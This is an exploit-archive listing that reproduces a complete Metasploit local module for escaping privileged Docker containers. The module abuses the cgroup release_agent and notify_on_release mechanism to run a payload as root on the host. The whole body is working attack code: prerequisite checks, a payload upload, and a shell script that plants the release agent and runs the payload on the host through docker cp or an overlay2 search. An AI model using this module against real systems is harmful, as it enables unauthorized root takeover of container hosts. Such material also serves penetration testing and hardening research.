Docker Privileged Container Escape

2020.08.10
Credit: stealthcopter
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # POC modified from https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/ class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, { 'Name' => 'Docker Privileged Container Escape', 'Description' => %q{ This module escapes from a privileged Docker container and obtains root on the host machine by abusing the Linux cgroup notification on release feature. This exploit should work against any container started with the following flags: `--cap-add=SYS_ADMIN`, `--privileged`. }, 'License' => MSF_LICENSE, 'Author' => ['stealthcopter'], 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_MIPSLE, ARCH_MIPSBE], 'Targets' => [['Automatic', {}]], 'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 20 }, 'SessionTypes' => ['shell', 'meterpreter'], 'DefaultTarget' => 0, 'References' => [ ['EDB', '47147'], ['URL', 'https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/'], ['URL', 'https://github.com/stealthcopter/deepce'] ], 'DisclosureDate' => 'Jul 17 2019' # Felix Wilhelm @_fel1x first mentioned on twitter Felix Wilhelm } ) ) register_advanced_options( [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptBool.new('ForcePayloadSearch', [false, 'Search for payload on the file system rather than copying it from container', false]), OptString.new('WritableContainerDir', [true, 'A directory where we can write files in the container', '/tmp']), OptString.new('WritableHostDir', [true, 'A directory where we can write files inside on the host', '/tmp']), ] ) end def base_dir_container datastore['WritableContainerDir'].to_s end def base_dir_host datastore['WritableHostDir'].to_s end # Get the container id and check it's the expected 64 char hex string, otherwise return nil def container_id id = cmd_exec('basename $(cat /proc/1/cpuset)').chomp unless id.match(/\A[\h]{64}\z/).nil? id end end # Check we have all the prerequisites to perform the escape def check # are in a docker container unless file?('/.dockerenv') return CheckCode::Safe('Not inside a Docker container') end # is root user unless is_root? return Exploit::CheckCode::Safe('Exploit requires root inside container') end # are rdma files present in /sys/ path = cmd_exec('ls -x /s*/fs/c*/*/r* | head -n1') unless path.start_with? '/' return Exploit::CheckCode::Safe('Required /sys/ files for exploitation not found, possibly old version of docker or not a privileged container.') end CheckCode::Appears('Inside Docker container and target appears vulnerable') end def exploit unless writable? base_dir_container fail_with Failure::BadConfig, "#{base_dir_container} is not writable" end pl = generate_payload_exe exe_path = "#{base_dir_container}/#{rand_text_alpha(6..11)}" print_status("Writing payload executable to '#{exe_path}'") upload_and_chmodx(exe_path, pl) register_file_for_cleanup(exe_path) print_status('Executing script to exploit privileged container') script = shell_script(exe_path) vprint_status("Script: #{script}") print_status(cmd_exec(script)) print_status "Waiting #{datastore['WfsDelay']}s for payload" end def shell_script(payload_path) # The tricky bit is finding the payload on the host machine in order to execute it. The options here are # 1. Find the file on the host operating system `find /var/lib/docker/overlay2/ -name 'JGsgvlU' -exec {} \;` # 2. Copy the payload out of the container and execute it `docker cp containerid:/tmp/JGsgvlU /tmp/JGsgvlU && /tmp/JGsgvlU` id = container_id filename = File.basename(payload_path) vprint_status("container id #{id}") # If we cant find the id, or user requested it, search for the payload on the filesystem rather than copying it out of container if id.nil? || datastore['ForcePayloadSearch'] # We couldn't find a container name, lets try and find the payload on the filesystem and then execute it print_status('Searching for payload on host') command = "find /var/lib/docker/overlay2/ -name '#{filename}' -exec {} \\;" else # We found a container id, copy the payload to host, then execute it payload_path_host = "#{base_dir_host}/#{filename}" print_status("Found container id #{container_id}, copying payload to host") command = "docker cp #{id}:#{payload_path} #{payload_path_host}; #{payload_path_host}" end vprint_status(command) # the cow variables are random filenames to use for the exploit c = rand_text_alpha(6..8) o = rand_text_alpha(6..8) w = rand_text_alpha(6..8) %{ d=$(dirname "$(ls -x /s*/fs/c*/*/r* | head -n1)") mkdir -p "$d/#{w}" echo 1 >"$d/#{w}/notify_on_release" t="$(sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab)" touch /#{o} echo "$t/#{c}" >"$d/release_agent" printf "#!/bin/sh\\n%s > %s/#{o}" "#{command}" "$t">/#{c} chmod +x /#{c} sh -c "echo 0 >$d/#{w}/cgroup.procs" sleep 1 cat /#{o} rm /#{c} /#{o} }.strip.split("\n").map(&:strip).join(';') end end


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